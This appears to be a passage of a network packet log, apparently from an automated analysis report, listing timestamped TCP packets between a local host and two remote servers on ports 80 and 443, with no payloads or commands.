May 10, 2024 09:20:58.403141975 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.403146982 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403152943 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.403160095 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403163910 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.403172016 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403176069 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.403183937 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403189898 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.403198004 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403201103 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.403209925 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403213978 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.403223038 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403227091 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.403234959 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403240919 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.403249025 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403254032 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.403260946 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403264999 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.403274059 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403278112 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.403285980 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403290033 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.403300047 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403302908 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.403312922 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403316021 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.403326035 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403331041 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.403337955 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403345108 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.403348923 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403361082 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403362036 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.403373003 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403378963 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.403384924 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403395891 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.403397083 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403409958 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403417110 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.403422117 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403433084 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403439999 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.403445005 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403453112 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.403456926 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403467894 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403480053 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.403480053 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403493881 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403503895 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.403505087 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403518915 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403523922 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.403532028 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403537989 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.403544903 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403557062 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403568029 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403573036 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.403580904 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403593063 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403604031 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403613091 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.403615952 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403623104 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.403630972 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403641939 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403645992 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.403654099 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403666019 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403669119 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.403678894 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403687954 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.403688908 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403702974 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403711081 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.403714895 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403723955 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.403728008 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403738976 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403745890 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.403752089 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403763056 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403772116 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.403774977 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403786898 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403786898 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.403799057 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403810978 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403811932 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.403821945 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403832912 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.403832912 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403846025 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403853893 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.403857946 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403870106 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.403870106 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403882980 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403893948 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403893948 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.403907061 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403918982 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403925896 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.403930902 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403943062 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403943062 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.403955936 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403960943 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.403968096 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403975010 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.403981924 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403994083 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.403999090 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.404006004 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404017925 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404020071 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.404030085 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404036999 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.404041052 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404052973 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404058933 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.404063940 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404077053 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404083014 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.404088974 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404094934 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.404109001 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404119968 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404125929 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.404131889 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404140949 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.404144049 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404155970 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404162884 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.404169083 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404180050 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404186964 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.404192924 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404203892 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404206991 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.404216051 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404227018 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404237986 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404242039 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.404249907 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404262066 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404269934 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.404273987 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404283047 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.404287100 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404299021 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404306889 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.404310942 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404325008 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404335976 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.404339075 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404344082 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.404352903 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404362917 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404365063 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.404375076 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404380083 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.404386997 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404397964 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404403925 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.404411077 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404416084 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.404417992 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404429913 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404438019 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.404442072 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404453039 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404459953 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.404474020 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.404480934 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404493093 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404496908 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.404500961 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404511929 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404519081 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.404525995 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404536963 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404546022 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.404550076 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404561996 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404563904 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.404572964 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404584885 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404587984 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.404597044 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404608965 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404619932 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404622078 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.404633045 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404640913 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.404647112 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404654980 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.404659033 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404670954 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404673100 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.404684067 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404694080 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.404695988 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404709101 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404716015 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.404720068 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404731989 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404736996 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.404743910 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404752016 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.404756069 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404767036 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404773951 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.404778957 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404789925 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404797077 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.404802084 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404814959 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404819012 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.404827118 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404833078 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.404839993 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404850960 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404854059 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.404863119 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404875040 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404875040 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.404887915 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404895067 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.404900074 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404911041 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404922009 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404925108 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.404933929 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404938936 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.404946089 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404954910 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.404962063 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404973984 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404984951 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.404984951 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.404997110 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.405006886 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.405018091 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.405019045 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.405030012 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.405031919 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.405042887 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.405051947 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.405055046 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.405067921 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.405075073 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.405080080 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.405086994 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.405091047 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.405102968 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.405109882 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.405114889 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.405126095 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.405132055 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.405138969 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.405145884 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.405149937 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.405160904 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.405168056 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.405173063 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.405184031 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.405190945 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.405194998 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.405205011 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.405209064 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.405220985 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.405225039 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.405234098 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.405246019 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.405249119 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.405257940 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.405266047 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.405271053 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.405284882 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.405293941 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.405296087 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.405308008 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.405318975 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.405327082 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.405330896 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.405343056 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.405344009 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.405354977 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.405363083 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.405366898 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.405379057 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.405386925 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.405390978 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.405404091 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.405415058 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.405426025 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.405427933 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.405437946 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.405457973 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.405464888 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.405464888 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.405472040 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.405482054 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.405484915 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.405497074 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.405585051 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.405597925 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.405610085 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.405622959 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.405635118 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.405683041 CEST	443	49782	172.66.40.85	192.168.2.4
May 10, 2024 09:20:58.405747890 CEST	443	49782	172.66.40.85	192.168.2.4
May 10, 2024 09:20:58.405986071 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.406339884 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.406357050 CEST	49782	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:58.408356905 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.409224987 CEST	49782	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:58.409240007 CEST	443	49782	172.66.40.85	192.168.2.4
May 10, 2024 09:20:58.448085070 CEST	443	49784	172.66.40.85	192.168.2.4
May 10, 2024 09:20:58.448385000 CEST	49784	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:58.448400974 CEST	443	49784	172.66.40.85	192.168.2.4
May 10, 2024 09:20:58.448734045 CEST	443	49784	172.66.40.85	192.168.2.4
May 10, 2024 09:20:58.449064016 CEST	49784	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:58.449122906 CEST	443	49784	172.66.40.85	192.168.2.4
May 10, 2024 09:20:58.449179888 CEST	49784	443	192.168.2.4	172.66.40.85
May 10, 2024 09:20:58.496124029 CEST	443	49784	172.66.40.85	192.168.2.4
May 10, 2024 09:20:58.510051012 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510070086 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510082006 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510093927 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510106087 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510118008 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510123014 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.510129929 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510143995 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510155916 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510168076 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510174990 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.510179996 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510189056 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.510193110 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.510205984 CEST	80	49754	34.68.151.162	192.168.2.4
